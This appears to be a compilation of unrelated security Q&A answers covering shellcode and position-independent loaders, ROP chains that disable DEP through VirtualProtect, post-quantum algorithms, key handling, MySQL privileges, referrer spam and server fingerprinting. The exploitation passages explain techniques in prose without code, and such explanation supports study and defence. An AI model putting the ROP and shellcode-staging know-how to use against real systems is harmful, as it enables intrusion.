Unfortunately, C compilers, and C++ compilers even more so, will generate code with holes without your consent. For instance, a typical C compiler will produce code with hidden calls to memcpy() (the standard library function) when dealing with struct values. C++ makes that worse because of all the paraphernalia of C++ features, which are supported by hidden functions and static variables (e.g. the object vtables).

The Linux kernel solves these issues by using the MMU. The boot loading code (which is a piece of hand-written assembly) takes control of the MMU to make sure that the RAM pages where the kernel code is will be seen at a fixed, known address in the address space: the kernel, when compiled, is linked with that explicit assumption; the holes are filled with addresses which are correct only if the kernel is indeed at that exact position in the address space. Playing with the MMU is a kernel privilege, you cannot do that from userland code, let alone from a shell code.

You could envision making your shell code a piece of assembly which is, in fact, a dynamic linker, able to load a piece of binary code produced by a C or C++ compiler, patching it dynamically, i.e. filling the "holes" with the actual loading address. That's what occurs in the exploits provided with metasploit: the exploit itself installs that nifty piece of code, which can then install "payloads" which are generic DLL, written in higher-level languages, up to and including a full VNC server.

However you put it, though, you will have to do some PIC code in manual assembly at some point. Writing your own loader/linker is a great pedagogical exercise, and it can be used to leverage an initial exploit to arbitrary control levels, but at its core, handmade assembly will still be needed.


Creating a ROP chain is a difficult, creative, laborious yet exciting process. Generally speaking, when we are using ROP, we are trying to bypass DEP. After all, if we have control of EIP and can write to and execute the stack, why not just jump to our shellcode?

With that in mind, it is important to remember that entire payloads are not, generally, written as a ROP chain. Spawning a reverse shell entirely out of ROP gadgets while certainly possible, is likely to test the sanity of any exploit writer.

The function of a ROP chain is merely to deactivate DEP. We use ROP to turn off DEP (by adding the execute permission to the memory page that holds the stack) and then simply jump to our traditional shellcode payload.

On Windows, this is usually a case of making a VirtualProtect() system call, loaded with the correct parameters to allow execution of the stack. It has been shown that kernel32.dll alone contains appropriate gadgets for making such a call in most cases. Tools for identifying potentially useful gadgets in program code can make this process much easier. See this page for a detailed example of the process.

So whether or not a specific sequence, such as POP POP RET is present, is not all that relevant. In any program that links major libraries (which they all do), there will be more than enough gadgets to build a simple DEP deactivating ROP chain. All it takes it a bit of lateral thinking - it's like trying to build a jigsaw puzzle when every piece comes from a different box.


The currently popular algorithms fall in three categories:

Based on factoring (RSA, Rabin)
Based on the discrete logarithm problem in finite fields (Diffie-Hellman, DSA,...)
Based on the discrete logarithms problem on elliptic curves (EC-DH, ECDSA,...)

The currently best factoring algorithms and computing discrete logarithms in a finite field are quite similar (number field sieves based on index calculus), so they're likely to fall together. There is currently no known way to apply these algorithms to popular elliptic curves.

All of them share a common weakness: If we get large enough quantum-computers capable of running Shor's algorithm, they all get broken.

There are algorithms using different mathematical problems that are believed to withstand quantum computers. NIST is currently holding a competition to standardize such an algorithm. Many of them come with significant downsides, such as large key/message/signature sizes or patents.

Lattice based - NTRU is an old and well known example, but adoption has been hampered by patents
Code based - McEliece is the best known. Key size is large.
Multivariate-quadratic-equations
Hash signatures - signature only. Simple ones can only be used once. Reusable ones are complex and either produce large signatures or require the signer to keep track how many messages they signed.
Supersingular isogeny key exchange

Most of these algorithms are still experimental, but we should get some usable standardized implementations as the NIST competition progresses.


Is there a difference between getting encryption key versus encrypted data from server in terms of security

There is a reason for encrypting the data where its stored - that being the storage may be compromised (directly or from a backup copy). If we agree that maintaining the data in an encrypted form is a good idea, then access to the decryption key must be restricted.

You didn't specify if the encryption was symmetric or asymmetric. In the case of the former, the decryption key is the encryption key.

Taking the case of the asymmetric key, there is a risk that someone with access to the data, could use your infrastructure as means for finding collisions and hence brute forcing the data - but this would be very small.

Similarly, doing the encryption on the client means that you are exposing the algorithm - leaving aside the arguments about Kerchoff's principle vs. security by obscurity, this extends the attack surface at the client. Again the risk is very small.

If the (server-side) application has no visibility of the unencrypted data nor the decryption key, then compromise of the application does not compromise the data - but its hard to imagine why you would be capturing and storing data you can't do anything useful with.


you can create additional users with different privileges for different tables

see the following for a better explanation:
https://stackoverflow.com/questions/6288554/mysql-grant-all-privileges-to-database-except-one-table

doing this would mean you could create a user able to insert/update/delete all other tables apart from the settings (or other tables).

I hope this helps :)


Weird visitor from Samara ----forum.topic5982...908.darodar.com?

I am pretty sure that this is (as you already figured out) just regular referrer spam.

The "huge" number of visits makes sure that the referrer appears near the top of the referrer lists in you favorite analytics tool or you spot it in a manual analysis of the logs.
So no, this is not an extraordinary high number of visits but fairly normal. So it is highly unlikely that this is a manual monitoring process that masks as referrer spam.

There are ways to stop these kinds of visits (like blocking IP ranges) but these will certainly block regular users at some point.
I would not bother making extensive changes since your time might be spent better at some other point. If it bothers you, you might want to filter them out of you statistics.
Regarding ways to block IPs or filter certain users out of e.g. Google Analytics you will find a number of posts on this site.


How apache tomcat favicon can be malicious or cause unintended results in application?

For one thing it can be an information leakage as to the fact that you are using apache tomcat.  In addition, if they change their icon over versions, you would be able to tell which version of tomcat you are using.  Remember every attack starts with a bit of reconnoissance, if they know what servers you're using they can better attack it.  Not saying that it's the only way to find out what you're using but limiting the information your attacker has about your configurations is the first step.